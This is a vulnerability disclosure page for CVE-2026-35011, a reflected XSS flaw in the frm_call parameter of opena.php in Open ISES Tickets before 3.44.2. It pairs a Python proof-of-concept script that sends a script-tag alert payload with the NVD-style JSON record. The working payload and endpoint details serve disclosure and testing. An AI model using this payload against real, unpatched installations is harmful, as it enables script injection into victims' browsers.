CVE-2026-35011

# Proof of Concept (PoC) for CVE-2026-35011 # This script demonstrates the Reflected XSS vulnerability in Open ISES Tickets # by sending a malicious payload to the 'frm_call' parameter. import requests def check_xss_vulnerability(target_url): """ Checks if the target is vulnerable to CVE-2026-35011. """ # The vulnerable endpoint is opena.php endpoint = "/opena.php" # Malicious payload to test JavaScript execution # Using a simple alert box to confirm execution xss_payload = "<script>alert('CVE-2026-35011_XSS_Test');</script>" # Construct the full URL with the vulnerable parameter params = { "frm_call": xss_payload } try: # Send the GET request response = requests.get(target_url + endpoint, params=params, timeout=10) # Check if the payload is reflected in the response body unsanitized if xss_payload in response.text: print("[+] Vulnerability Confirmed: Payload reflected in response.") print(f"[+] Target URL: {response.url}") return True else: print("[-] Vulnerability Not Found: Payload not reflected or sanitized.") return False except requests.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost:8080" check_xss_vulnerability(target)

{"cve": {"id": "CVE-2026-35011", "sourceIdentifier": "[email protected]", "published": "2026-05-20T20:16:38.350", "lastModified": "2026-05-21T15:17:59.850", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open ISES Tickets before 3.44.2 contains a reflected cross-site scripting vulnerability in opena.php that allows authenticated attackers to inject arbitrary JavaScript by passing an unsanitized value through the frm_call GET parameter directly into page output. Attackers can craft a malicious URL containing a JavaScript payload in the frm_call parameter that executes in the victim's browser when the URL is visited."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/openises/tickets/commit/ecfeb406a016766cae81c749e14b5145a9f2dbff", "source": "[email protected]"}, {"url": "https://github.com/openises/tickets/releases/tag/v3.44.2", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/open-ises-tickets-reflected-xss-via-opena-php-frm-call-parameter", "source": "[email protected]"}]}}